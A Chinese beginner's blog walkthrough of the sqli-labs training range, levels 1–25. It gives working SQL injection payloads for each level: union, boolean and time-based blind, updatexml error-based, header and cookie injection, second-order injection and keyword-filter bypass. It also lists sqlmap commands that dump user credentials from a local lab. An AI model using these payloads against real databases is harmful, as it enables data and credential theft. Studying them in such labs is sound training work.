sqli靶场练习(适合新手的详细步骤)

  • #less-1:字符型注入—'闭合
  • #less-2:数字型注入
  • #less-3:字符型注入—‘)闭合
  • #less-4:字符型注入—“)闭合
  • #less-5:布尔盲注(5,6,7,8都是相同的做法)
  • #less-9:时间盲注(9,10也都是相同的做法)
  • #less-11:POST型联合注入(前10关是GET型,可以用URL直接传参,后面是在表单里传参)12类似
  • #less-13:POST型报错注入 (14类似)
  • #less-15:POST型盲注 (16,17类似)
  • #less-18:user-agent注入
  • #less-19:referer注入
  • #less-20:cookie注入(21:cookie+编码,22:闭合方式为“)
  • #less-23:注释符绕过
  • #less-24:二次注入
  • #less-25:过滤and和or

看了一个博主,在每一关的index.php文件中,添加代码,可以更好地理解sql注入

添加 echo $sql; echo "<br>";, 这两行的意思是将我们输入的sql语句显示到页面上,然后换行,

less-1:字符型注入—‘闭合

按照要求用id传参,id=1,出现了数据

1.判断是否存在注入点(输入单引号报错,但是后面加上“-- qwe”显示正常,说明存在字符型注入):

2.使用order by 判断有几个显示位,4报错,3正确。说明有3个字段

3.判断数据库版本,发现是5以上的,有自带的表。

4.查询表名:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe

5.查询字段名:?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe

6.查询内容:?id=0' union select 1,group_concat(username),group_concat(password) from users-- qwe

less-2:数字型注入

1.判断是否存在注入点,用'发现都是报错,然后用and 1=1,and1=2判断,1=1正常,1=2报错,说明是数字型

2.使用order by查询有几个显示位,?id=1 order by 3 正常,?id=1 order by 4 报错,说明有三个回显位

3.查询mysql版本号,?id=0 union select 1,2,version() 需要让前面的语句无法执行才会显示后面的版本号

4.查询表名,?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

4.查询列名,?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

5.查询数据,?id=0 union select 1,group_concat(username),group_concat(password) from users

less-3:字符型注入—‘)闭合

1.判断注入点,由于显示了sql查询代码,所以可以看出来,这是‘)闭合

输入?id=1') -- qwe,我们可以看到前面的‘)和查询语句的(’进行了一个闭合,后面的‘)被注释掉了

2.用order by 查看回显位 order by 4报错,order by 3 正常,故回显位有三个

3.查询版本号?id=0') union select 1,2,version() -- qwe

4.查询表名?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe

5.查询列名?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe

6.查询数据?id=0') union select 1,group_concat(username),group_concat(password) from users -- qwe

less-4:字符型注入—")闭合

1.判断闭合方式

2.用order by测试显示位?id=1“) order by 3 -- qwe

3.查看版本号?id=0") union select 1,2,version() -- qwe

4.查看表名?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe

5.查看列名?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe

6.查看数据?id=0") union select 1,group_concat(username),group_concat(password) from users -- qwe

less-5:布尔盲注

1.判断闭合方式—'闭合

2.查看版本?id=1' and substr(version(),1,1)=5 -- qwe,说明版本为5点几

3.查看数据库?id=1' and length(database())=8 -- qwe说明数据库长度是8位

4.猜测数据库的名字?id=1' and substr(database(),1,1)='s' -- qwe,我们可以猜想数据库名为security

?id=1' and substr(database(),2,1)='e' -- qwe

5.猜测表名?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 6,1))=8-- qwe

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- qwe

猜不出来,使用burp暴力破解

说明该表第一个字母为e,又是6位,猜测其为emails

6.挨个试就行了,但是我们还是使用工具更节约时间

python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security --tables ——查询表

7.查询列名:python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users --columns

8.查询数据:python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users -C username,password --dump

less-6:

1.判断注入点

2.判断数据库名

python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" --dbs

3.判断表名python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security --tables

4.判断列名python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security -T users --columns

5.查询数据python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security -T users -C username,password --dump

less-9:时间盲注

1.判断注入点,但是发现,无论输入什么显示的页面都是一样的,这时我们可以使用if函数和sleep函数进行判断:?id=1' and if(1=1,sleep(10),1) -- qwe

2.判断数据库名长度:?id=1' and if(length((select database()))=8,sleep(10),1) -- qwe

3.判断数据库名:?id=1' and if(substr(database(),1,1)='s',sleep(10),1) -- qwe(8位,首字母位s,猜测是security)

4.判断表名总长度:?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>10,sleep(10),1)-- qwe

说明长度大于十,然后慢慢试

5.判断表名:?id=1' and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'),sleep(10),1)-- qwe

说明第一个字母是e,然后慢慢试

6.判断字段名总长度:

?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>10,sleep(10),1)-- qwe

7.判断字段名—判断数据长度—判断数据......

less-11:POST型注入

1.判断注入点—‘闭合

2.查询表名:0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe

3.查询列名:0' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe

4.查询数据:0' union select group_concat(username),group_concat(password) from users-- qwe

less-13:POST型报错注入

1.判断闭合方式—')闭合“1‘)和1’)显示的页面不同”

2.使用报错注入查询数据库:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- qwe

3.查询表:0') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- qwe

4.查询字段:0') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)-- qwe

5.查询数据:0') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)-- qwe

0') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)-- qwe

less-15:POST型盲注

1.判断闭合方式—‘闭合

2.判断库名:

长度:admin' and length(database())=8-- qwe

字母:admin' and substr(database(),1,1)='s'-- qwe

8位,首字母位s,判断是‘security’.

2.判断表名——总长度——字母。。。。。。。。

less-18:user-agent注入

1.判断注入点:当输入正确的用户名和密码时,user-agent会在页面显示出来

2.查看源码,发现是一条插入语句,且需要三个参数

3.打开burpsuit进行抓包,然后在数据包的UA里进行报错注入

查看数据库名

查询表名

查询列名

查询数据

less-19:referer注入

1.判断注入点—登陆成功会有referer字段显示出来,登录失败则没有

2.查看源码,发现有两个参数,一个是referer字段,一个是ip地址

3.用burpsuit抓包

查看库名

查看表名

。。。。

less-20:cookie注入

1.判断注入点:登录成功后会显示成功页面,有cookie信息

2.用burpsuit抓包

库名

表名

列名

数据

less-23:注释符绕过(#,--空格)

1.判断注入点:查看源代码,发现注释符被绕过了,使用

?id=1' or ' 1 ' = ' 1

这样sql语句就变成了:?id='1' or '1' = '1'

2.判断回显位:?id=0' union select 1,2,3 or ' 1 ' = ' 1 ==>?id='0' union select 1,2,3 or '1' = '1'

说明有三位回显位

3.判断库名:?id=0' union select 1,database(),3 or '1'='1

4.判断表名:?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

5.判断列名:?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or'1'='1

6.拿出数据:?id=0' union select 1,(select group_concat(username,password) from users),3 or '1'='1

less-24:二次注入(新建的用户名(构造一个关于admin用户的playload)被当作sql代码执行,然后在修改密码时,修改的是原admin用户的密码)

新建用户的源代码如下
“UPDATE users SET PASSWORD=’$pass’ where username=‘$username’ and password=’ $curr pass ’”;
$username===>admin’ –qwe admin 后的’ 被当作单引号和前面的’闭合 后面的被注释掉,但数据库认为这是正确的数据。
第二次修改用户 “ admin’ –qwe ”的密码时,其实修改的是admin用户的密码

1.判读注入点,根据上面得出的结论,我们新建一个admin' -- qwe,的用户

2.为方便理解,登录到后端数据库查看‘users’表

可以看到‘admin’用户的密码是admin,新建用户的密码是123456

3.然后登录,修改admin' -- qwe用户的密码

4.见证奇迹的时刻:修改的是admin用户的密码,我们就可以用admin用户登录

less-25:过滤and和or

1.判断注入点:输入?id=1'报错,输入?id=1' -- qwe 显示正常,判断是‘闭合

2.查询库名:?id=0' union select 1,2,database()-- qwe

3.判断表名:?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')-- qwe

可以看到,information中的or都被过滤掉了,我们可以采用双写的办法进行绕过infoorrmation

?id=0' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')-- qwe

3.判断列名:?id=0' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users')-- qwe

4.拿到数据:?id=0' union select 1,2,(select group_concat(username,passwoorrd) from users)-- qwe

  • 19
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值